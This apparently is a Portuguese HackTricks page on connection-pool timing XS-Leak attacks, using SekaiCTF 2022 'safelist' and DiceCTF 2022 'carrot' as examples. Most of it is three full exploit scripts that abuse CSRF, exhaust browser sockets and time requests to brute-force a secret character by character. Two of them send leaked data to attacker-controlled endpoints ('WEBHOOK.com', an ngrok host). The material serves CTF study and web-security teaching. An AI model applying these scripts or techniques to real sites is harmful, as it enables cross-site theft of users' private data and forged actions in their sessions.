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517 lines
17 KiB
Markdown
517 lines
17 KiB
Markdown
# Exemplos de Pool de Conexão
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
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* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## Sekaictf2022 - safelist
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No desafio [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) dá um exemplo de como usar uma **variação** da técnica de **Pool de Conexão** para realizar um **XS-Leak**.
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Neste desafio, o objetivo é extrair uma bandeira que aparecerá na sessão web dos bots dentro de um post. Estes são os recursos que o atacante possui:
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* O **bot** irá **visitar** uma **URL** fornecida pelo atacante
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* O atacante pode **injetar HTML** na página (mas sem JS, o dompurify é usado) abusando de um **CSRF** fazendo com que o **bot crie um post** com esse HTML.
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* O atacante pode abusar de um CSRF para fazer com que o **bot** **delete** o **primeiro post** dentro da web.
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* Como os **posts** são ordenados **alfabeticamente**, quando o **primeiro post é deletado**, se o conteúdo **HTML** do atacante for **carregado**, significa que ele estava **alfabeticamente antes da bandeira**.
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Portanto, para roubar a bandeira, a solução proposta por @Strellyc\_ é, **para cada caractere a ser testado**, fazer com que o bot:
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* Crie um **novo post** que **comece** com a parte conhecida da **bandeira** e vários **carregamentos** de **img**.
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* **Delete** o **post** na posição **0**.
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* Bloqueie 255 sockets.
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* Carregue a página com os posts.
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* Realize 5 solicitações aleatórias para um site (example.com neste caso) e meça o tempo que isso leva.
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{% hint style="warning" %}
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Se o post **deletado** foi a **bandeira**, isso significa que todas as **imagens** **injetadas** no HTML vão **competir** com as **5 solicitações aleatórias** por esse socket **desbloqueado**. O que significa que o tempo medido será maior do que no outro cenário.
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Se o post **deletado** foi o **HTML**, as **5 solicitações aleatórias** serão **mais rápidas** porque elas não precisam competir por esse socket com o HTML injetado.
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{% endhint %}
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### Exploit 1
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Este é o código de exploração, retirado de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
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```html
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<!-- Form to inject HTML code in the bots page -->
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<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
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<input type="text" name="text" />
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<input type="submit" />
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</form>
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<!-- Form to delete the first entry -->
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<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
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<input type="text" name="index" value="0" />
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<input type="submit" />
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</form>
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<script>
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// Attacker listening
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const WEBHOOK = "https://WEBHOOK.com/";
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// Send data to attacker
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const log = (id, data) => {
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let payload = JSON.stringify({ known, alphabet, data });
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console.log(id, payload);
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navigator.sendBeacon(WEBHOOK + "?" + id, payload);
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}
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// Similar to JQuery
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const $ = document.querySelector.bind(document);
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// Known part of the flag
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const known = "SEKAI{";
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let alphabet = "_abcdefghijklmnopqrstuvwxyz}";
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// Reduce the alphabet using a hash (#) in the URL
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if (location.hash) {
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alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
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}
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// Funtion to leak chars
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const leak = async (c) => {
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// Prepare post with known flag and the new char
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let payload = `${known + c}`;
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// Inject as many <img as possible
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// you need to respect the CSP and create URLs that are different
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for(let i = 0; payload.length < 2048; i++) {
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payload += `<img src=js/purify.js?${i.toString(36)}>`;
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}
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// Inject HTML
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$("#create input[type=text]").value = payload;
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$("#create").submit();
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await new Promise(r => setTimeout(r, 1000));
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// Remove post with index 0
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$("#remove").submit();
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await new Promise(r => setTimeout(r, 500));
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let deltas = [];
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// Try each char 3 times
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for (let i = 0; i < 3; i++) {
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const SOCKET_LIMIT = 255;
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// you will need a custom server that works like num.sleepserver.com/sleep/delay
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// needed to freeze the blocked sockets, and they have to all be on different origins
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// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
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const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;
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const block = async (i, controller) => {
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try {
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return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
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}
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catch(err) {}
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};
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// block SOCKET_LIMIT sockets
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const controller = new AbortController();
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for (let i = 0; i < SOCKET_LIMIT; i++) {
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block(i, controller);
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}
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// Make the bot access the page with the posts
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window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
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await new Promise(r => setTimeout(r, 500));
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// start meassuring time to perform 5 requests
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let start = performance.now();
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await Promise.all([
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" })
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]);
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let delta = performance.now() - start;
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document.title = delta;
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controller.abort();
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log("test_" + c + "_" + i, delta);
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// Save time needed
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deltas.push(delta);
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}
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return deltas;
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};
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// Check each char
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const pwn = async () => {
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// Try to leak each character
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for(let i = 0; i < alphabet.length; i++) {
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//Check the indicated char
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let deltas = await leak(alphabet[i]);
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// Calculate mean time from requests to example.com
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let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;
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// If greater than 250, the HTML code was injected (flag in index 0)
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if (avg > 250) {
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log("tests_pos_" + alphabet[i], deltas)
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}
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// Flag in the page
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else {
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log("tests_neg_" + alphabet[i], deltas)
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}
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}
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};
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window.onload = async () => {
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pwn();
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};
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</script>
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```
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### Exploração 2
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A mesma tática, mas com um código diferente de [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
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```html
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<!DOCTYPE html>
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<html>
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<!--
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The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
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If images are loading, the request to "/" is slower, otherwise faster.
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By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
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We can use fetch to measure the request time.
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-->
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<body>
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<button onclick="run()">start</button>
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<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
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<input id=inp name="text" value="">
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</form>
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<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
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<input id=inp2 name="index" value="">
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</form>
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<script>
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let flag = 'SEKAI{'
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const TARGET = 'https://safelist.ctf.sekai.team'
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f.action = TARGET + '/create'
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f2.action = TARGET + '/remove'
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const sleep = ms => new Promise(r => setTimeout(r, ms))
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const send = data => fetch('http://server.ngrok.io?d='+data)
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const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
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// start exploit
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let count = 0
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setTimeout(async () => {
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let L = 0
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let R = charset.length - 1
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while( (R-L)>3 ) {
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let M = Math.floor((L + R) / 2)
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let c = charset[M]
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send('try_' + flag + c)
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const found = await testChar(flag + c)
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if (found) {
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L = M
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} else {
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R = M - 1
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}
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}
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// fallback to linear since I am not familiar with binary search lol
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for(let i=R; i>=L; i--) {
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let c = charset[i]
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send('try_' + flag + c)
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const found = await testChar(flag + c)
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if (found) {
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send('found: '+ flag+c)
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flag += c
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break
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}
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}
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}, 0)
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async function testChar(str) {
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return new Promise(resolve => {
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/*
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For 3350, you need to test it on your local to get this number.
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The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
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If starts with "A", the image should be loaded because it's in the threshold.
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*/
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inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
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f.submit()
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setTimeout(() => {
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run(str, resolve)
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}, 500)
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})
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}
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async function run(str, resolve) {
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// if the request is not enough, we can send more by opening more window
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for(let i=1; i<=5;i++) {
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window.open(TARGET)
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}
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let t = 0
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const round = 30
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setTimeout(async () => {
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for(let i=0; i<round; i++) {
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let s = performance.now()
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await fetch(TARGET + '/?test', {
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mode: 'no-cors'
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}).catch(err=>1)
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let end = performance.now()
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t += end - s
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console.log(end - s)
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}
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const avg = t/round
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send(str + "," + t + "," + "avg:" + avg)
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/*
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I get this threshold(1000ms) by trying multiple times on remote admin bot
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for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
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*/
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const isFound = (t >= 1000)
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if (isFound) {
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inp2.value = "0"
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} else {
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inp2.value = "1"
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}
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// remember to delete the post to not break our leak oracle
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f2.submit()
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setTimeout(() => {
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resolve(isFound)
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}, 200)
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}, 200)
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}
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</script>
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</body>
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</html>
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```
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## DiceCTF 2022 - carrot
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Neste caso, o primeiro passo do exploit foi abusar de um CSRF para modificar a página onde a flag está contida, de modo que ela tenha **muito mais conteúdo** (e, portanto, leve mais tempo para carregar), e então **abusar do pool de conexões para medir o tempo necessário para acessar a página** que potencialmente pode ter a flag.
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No exploit, você pode ver:
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* Abuso de CSRF
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* Ocupar todos os sockets, exceto um
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* Calibrar a resposta
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* Iniciar a força bruta acessando a página potencial com a flag
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* A página potencial será acessada e imediatamente uma URL controlada pelo atacante também será acessada para verificar quanto tempo ambas as solicitações levam.
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```html
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<h1>DiceCTF 2022 web/carrot</h1>
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<p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
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<button onclick="csrf()">do csrf</button>
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<p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
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<button onclick="popunder()">open popup</button>
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<button onclick="exhaust_sockets()">open 255 connections</button>
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<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
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<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
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<br>
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<br>
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<h2 id=output></h2>
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<br>
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<form id=x action="" method="POST" style="display:none;">
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<input type="text" name="title" placeholder="title">
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<br><br>
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<input type="number" name="priority" placeholder="priority" value=9999>
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<br><br>
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<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
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<br><br>
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<input type="submit" value="submit">
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</form>
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<script>
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// this is send is used as logging
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LOG = 'Starting'
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// 255 in normal chrome, 99 in headless
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SOCKETLIMIT = 255;
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// default
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TIMELIMIT = 800;
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INSTANCE = ''
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MYSERVER = `example.com`
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const sleep = (ms) => {
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return new Promise(resolve => {
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setTimeout(resolve, ms);
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});
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}
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const time_fetch = async() => {
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let test_server_url = `https://${MYSERVER}/?${LOG}`;
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let start = window.performance.now();
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try {
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await fetch(test_server_url, {
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mode: 'no-cors'
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});
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} catch (e) {
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console.log(e);
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}
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let end = window.performance.now();
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return end - start;
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}
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const fetch_sleep_long = (i) => {
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// 40s sleep
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return fetch(`https://${i}.${MYSERVER}/40sleep`, {
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mode: 'no-cors'
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});
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}
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const fetch_sleep_short = (i) => {
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// 0.25s sleep
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return fetch(`https://${i}.${MYSERVER}/ssleep`, {
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mode: 'no-cors'
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});
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}
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const block_socket = async (i) => {
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fetch_sleep_long(i);
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// needed?
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await sleep(0);
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}
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const exhaust_sockets = async() => {
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let i = 0
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for (; i < SOCKETLIMIT; i++) {
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block_socket(i);
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}
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console.log(`Used ${i} connections`);
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}
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const timeit = async (url, popup) => {
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return new Promise(async (r) => {
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popup.location = url;
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// needed?
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await sleep(50)
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let val = await time_fetch()
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r(val)
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});
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}
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// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
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const alphabet = 'abcdefghijklmnopqrstuvwxyz}_'.split('');
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// const alphabet = 'abcdef}'.split('');
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const oracle = async (search) => {
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let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
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let t = await timeit(url, WINBG)
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LOG = `${search}:${t}`
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console.log(`${search}:${t}`)
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return t > TIMELIMIT
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}
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const brute = async (flag) => {
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for (const char of alphabet) {
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if (await oracle(flag + char)) {
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return char;
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}
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}
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return false;
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}
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const calibrate = async () => {
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return new Promise(async (r) => {
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// slow
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let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
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let t1 = await timeit(url1, WINBG)
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console.log(`slow:${t1}`)
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// fast
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let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
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let t2 = await timeit(url2, WINBG)
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console.log(`fast:${t2}`)
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return r((t1 + t2) / 2)
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});
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}
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const exploit = async(flag = '') => {
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console.log('Starting')
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// dont go to fast plz :)
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console.log(`waiting 3s`)
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await sleep(3000)
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// exaust sockets
|
|
await exhaust_sockets()
|
|
await sleep(2000)
|
|
LOG = `Calibrating`
|
|
TIMELIMIT = await calibrate()
|
|
LOG = `TIMELIMIT:${TIMELIMIT}`
|
|
console.log(`timelimit:${TIMELIMIT}`)
|
|
await sleep(2000)
|
|
let last;
|
|
while (true) {
|
|
last = await brute(flag);
|
|
if (last === false) {
|
|
return flag;
|
|
}
|
|
else {
|
|
flag += last;
|
|
output.innerText = flag;
|
|
if(last === '}'){
|
|
return flag
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
const popunder = () => {
|
|
if (window.opener) {
|
|
WINBG = window.opener
|
|
}
|
|
else {
|
|
WINBG = window.open(location.href, target="_blank")
|
|
location = `about:blank`
|
|
}
|
|
}
|
|
|
|
const csrf = async () => {
|
|
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
|
|
x.title.value = "A".repeat(1000000)
|
|
x.submit()
|
|
}
|
|
|
|
window.onload = () => {
|
|
let p = new URL(location).searchParams;
|
|
if(!p.has('i')){
|
|
console.log(`no INSTANCE`)
|
|
return
|
|
}
|
|
INSTANCE = p.get('i')
|
|
// step 1
|
|
if(p.has('csrf')){
|
|
csrf()
|
|
return
|
|
}
|
|
// step 2
|
|
if (p.has('exploit')) {
|
|
// window open is ok in headless :)
|
|
popunder()
|
|
|
|
exploit('dice{')
|
|
}
|
|
}
|
|
</script>
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|